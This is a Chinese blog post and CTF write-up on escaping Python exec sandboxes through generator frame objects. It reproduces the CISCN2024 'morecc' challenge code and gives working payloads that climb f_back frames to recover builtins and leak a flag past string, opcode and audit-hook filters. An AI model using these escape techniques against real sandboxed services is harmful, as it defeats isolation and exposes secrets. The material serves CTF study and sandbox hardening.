首页 > 编程语言 >python 栈帧沙箱逃逸

python 栈帧沙箱逃逸

时间:2024-08-01 21:08:41浏览次数:11  
标签:code python app 生成器 print frame 沙箱 import 栈帧

基础理论

什么是生成器

生成器是python中的一种特殊的迭代器,在每次生成值以后会保留当前状态,以便下次调用可以继续生成值.
python中生成器通过yield关键词进行定义,每次调用的时候返回一个值,并保持当前状态的同时暂停函数的执行.当下一次调用生成器的时候,函数会从上次暂停的位置继续执行,直到遇到另一个生成器或是遇到了函数的结束.
以下面的代码为例:

def f():
    a=1
    while True:
        yield a
        a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
print(next(f)) #3

类似于列表推导式,我们也可以通过生成器表达式来方便的定义一个生成器,而不是写一个显式的函数.使用方法如下

a=(i+1 for i in range(100))
#next(a)
for value in a:
    print(value)
生成器的属性

gi_code生成器对应的code对象.
gi_frame生成器对应的栈帧(frame对象)
gi_running生成器的函数是否正在执行
gi_yieldfrom如果生成器正在从另一个生成器对象中 yield值,则为该生成器对象的引用,否则为None

其中最为重要的就是gi_frame对象,他指向生成器当携程的栈帧对象,包含了局部变量,全局变量以及字节码指令信息等.
在python中栈帧包含了以下的几个重要属性

f_locals:一个字典,包含了函数或方法的局部变量.键是变量名,值是变量的值.
f_globals:一个字典,包含了函数或方法所在模块的全局变量.键是全局变量名,值是变量的值.
f_code:一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息.
f_lasti:整数,表示最后执行的字节码指令的索引.
f_back:指向上一级调用栈帧的引用,用于构建调用栈.

利用栈帧沙箱逃逸

逃逸的核心就是利用f_back返回到上一帧来获取在当前栈中没有的数据.
来看一个例子:

s3cret="this is flag"

codes='''
def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()  #生成器
    frame = next(g) #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals,其实f_locals也好使.
    return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

我们解读一下上面的每次返回.frame被赋值为f的栈帧的上一帧,也就是waff的栈帧.frame在第一次回退的时候回退到了虚拟文件test的栈帧.在python的compile函数中,第二个参数是用来指定编译的代码的虚拟文件名的.frame在第二次回退的时候回退到了当前python文件的栈帧中.此时可以通过f_globals获取全局变量.使用f_locals也可以达到同样的效果,因为此时已经在<modules>中,所以全局变量和局部变量没有区别.

例题

CISCN2024 初赛 morecc

给出了源码如下.
main.py

import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py", "r", encoding="UTF-8").read()#读了另一个程序的代码
flag = open("/flag", "r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
    id = str(uuid1())
    try:
        data = request.json
        open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
            runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
#上面做的工作实际是将flag文件内容作为种子,同时使用随机数替代runner.py中的内容,然后生成了一个新的文件.本质上还是一种防御手段
        open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
#用于和用户产生交互的对外接口
        run = subprocess.run(
            ['python', f"/app/uploads/{id}.py"],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            timeout=3
        )
        result = run.stdout.decode("utf-8")
        error = run.stderr.decode("utf-8")
        print(result, error)
#运行程序

        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": f"{result}\n{error}"
        })#临时文件删除
    except:
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": "None"
        })#错误处理


if __name__ == "__main__":
    app.run("0.0.0.0", 5000)

runner.py

def source_simple_check(source):

    """
    Check the source with pure string in string, prevent dangerous strings
    :param source: source code
    :return: None
    """

    from sys import exit
    from builtins import print

    try:
        source.encode("ascii")
    except UnicodeEncodeError:
        print("non-ascii is not permitted")
        exit()

    for i in ["__", "getattr", "exit"]:
        if i in source.lower():
            print(i)
            exit()
#对pyjail中的大多数攻击进行了防御

def block_wrapper():
    """
    Check the run process with sys.audithook, no dangerous operations should be conduct
    :return: None
    """

    def audit(event, args):

        from builtins import str, print
        import os

        for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                os._exit(1)
    return audit
#对命令执行的防御

def source_opcode_checker(code):
    """
    Check the source in the bytecode aspect, no methods and globals should be load
    :param code: source code
    :return: None
    """

    from dis import dis
    from builtins import str
    from io import StringIO
    from sys import exit

    opcodeIO = StringIO()
    dis(code, file=opcodeIO)
    opcode = opcodeIO.getvalue().split("\n")
    opcodeIO.close()
    for line in opcode:
        if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
            if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
                break
            print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
            exit()
#从opcode的层面进行防御

if __name__ == "__main__":

    from builtins import open
    from sys import addaudithook
    from contextlib import redirect_stdout
    from random import randint, randrange, seed
    from io import StringIO
    from random import seed
    from time import time

    source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()#读取用户输入的内容
    source_simple_check(source)#一次防御
    source_opcode_checker(source)#二次防御
    code = compile(source, "<sandbox>", "exec")#编译
    addaudithook(block_wrapper())#三次防御
    outputIO = StringIO()
    with redirect_stdout(outputIO):
        seed(str(time()) + "THIS_IS_SEED" + str(time()))
        exec(code, {
            "__builtins__": None,#清空builtins,四次防御
            "randint": randint,
            "randrange": randrange,
            "seed": seed,
            "print": print
        }, None)
    output = outputIO.getvalue()

    if "THIS_IS_SEED" in output:
        print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
        print("bad code-operation why still happened ah?")
#五次防御    
    else:
        print(output)

注释直接标在代码中了.
由于只是在<sandbox>中运行的时候清空了builtins,因此我们想到了逃逸出沙箱读flag
首先写成了初步的exp

import requests  
url = "http://192.168.111.129:5000/run"  
payload='''def test():  
    def f():  
        yield g.gi_frame.f_back  
    g = f()  
    frame = [x for x in g][0]  
    b=frame.f_back.f_back.f_back.f_code.co_consts  
    print(b)  
test()'''  
rep=requests.post(url,json={"code":payload})  
print(rep.text)

进行解读:我们可以看到一共进行了四次回退,分别退到了<listcomp>,test(),<sandbox><module>,<module>,此时就回到了主程序的栈帧.然后通过f_code获得了主程序的代码.
co_consts是一个常量列表,用于获取一个代码对象中的所有的常量.那么我们将其打印的时候就能够得到作为常量被替换的flag
然而这个payload又有一个问题,就是THIS_IS_SEED也是一个出现过的常量,那么就也会出现在列表中,就会出现第五次防御而不能被成功的打出.
修改后的代码如下:

import requests
url = "http://192.168.111.129:5000/run"
payload='''def test():
    def f():
        yield g.gi_frame.f_back
    g = f()
    frame = [x for x in g][0]
    b=frame.f_back.f_back.f_back.f_globals["_"+"_buil"+"tins_"+"_"]
    d=b.str
    b=frame.f_back.f_back.f_back.f_code.co_consts  
    c=d(b)
    for i in c:
        print(i,end=" ")
test()'''
rep=requests.post(url,json={"code":payload})
print(rep.text)

我们在逃逸到了主程序后可以从中获取builtins,进而获取到str函数进行字符串的拼接.在两个字符之间拼接一个空格输出即可不触发防御成功逃逸,得到flag.

标签:code,python,app,生成器,print,frame,沙箱,import,栈帧
From: https://www.cnblogs.com/meraklbz/p/18337530

相关文章

  • Transformer预测模型及其Python和MATLAB实现
    ###一、背景在自然语言处理(NLP)领域,传统的序列到序列(Seq2Seq)模型大多依赖于循环神经网络(RNN)和长短期记忆(LSTM)网络。这些模型虽然在许多任务中取得了成功,但由于其计算效率低下以及长距离依赖关系处理的不足,导致模型训练时间漫长,并在处理较长文本时效果不佳。2017年,Vaswani等人......
  • 随机森林(Random Forest)预测模型及其特征分析(Python和MATLAB实现)
    ##一、背景在大数据和机器学习的快速发展时代,数据的处理和分析变得尤为重要。随着多个领域积累了海量数据,传统的统计分析方法常常无法满足复杂问题的需求。在这种背景下,机器学习方法开始广泛应用。随机森林(RandomForest)作为一种强大的集成学习方法,因其高效性和较强的泛化能......
  • 【python脚本打包成exe】
    python项目打包成exe安装包分为三部分:1.python项目打包成可执行文件,依赖于一个python插件包pyinstaller        通过pipinstallpyinstaller安装即可。2.将python项目打包成可执行的exe文件及其依赖包        2.1在项目根目录下,输出python项目的配置文件(x......
  • 在Python中,如果想要获取昨天和前天的日期时间,使用datetime模块中的datetime.now()来获
    问:在Python中,如果想要获取昨天和前天的日期时间,使用datetime模块中的datetime.now()来获取当前时间,然后通过减去相应的时间差来得到昨天和前天的日期时间答:在Python中,如果你想要获取昨天和前天的日期时间,你可以使用datetime模块中的datetime.now()来获取当前时间,然后通过减去相......
  • python中  datetime.now() 获取当前时间 例如:2023-04-01 12:34:56.789012
    问:python中 datetime.now()获取当前时间例如:2023-04-0112:34:56.789012答:在Python中,datetime.now()函数是用来获取当前日期和时间的。但是,需要注意的是,这个函数是datetime模块中datetime类的一个方法,因此你需要从datetime模块中导入datetime类(尽管这看起来有点......
  • Python 教程(九):内置模块与第三方模块
    目录专栏列表前言1.模块基础目录结构示例模块`mymodule.py`2.导入模块3.从模块中导入特定内容3.1`from…import*`总结:4.包示例包结构`moduleone.py``moduletwo.py``__init__.py`导入包5.模块搜索路径6.内置模块示例7.第三方库8.`__name__`属性9.初始......
  • Python代码大使用Paramiko轻松判断文件类型,提取上级目录
    哈喽,大家好,我是木头左!一、Paramiko简介Paramiko是一个用于SSHv2协议的Python实现,提供了客户端和服务器功能。它可以用于远程连接和管理服务器,执行命令、上传下载文件等。本文将介绍如何使用Paramiko判断文件类型,并提取文件的上级目录。二、安装Paramiko需要安装Paramiko库。......
  • 11:Python字符串的魔法属性2
    test='alex'v=test[2]#索引,下标,获取字符串中的某一个字符print(v,-1)test='alexsasdf'v=test[0:3]#0=<v<3print(v,-2)v1=test[0:-1]#切片print(v1,-3)v2=len(test)print(v2,-4)v3=len("我是中国人")#len获取当前字符串中由几个字符组成,python2......
  • 资源|Python入门必看书籍,适合零基础小白,附PDF
    小编为初学Python的朋友们汇总了7本零基础入门书籍,包括Python三剑客等,都是在编程届多年畅销的书籍,也是众多从业者的选择,全文详细介绍了书籍主要内容,有需要的宝子根据自身情况自取需要书籍PDF的宝子评论区留言哦**1、三剑客之一《Python编程从入门到实践》**推荐理由:**本......
  • 有 Python 3 的 naoqi SDK 吗?
    我似乎找不到适用于Python3的PythonNaoQiSDK?我从参考安装页面找到的只是Python2.7:http://doc.aldebaran.com/2-8/dev/python/install_guide.html最新版本的SDK(2.8)需要Python2.7以及当我将其与Python3.7一起使用时会发生错误并且程序无法正确执行。......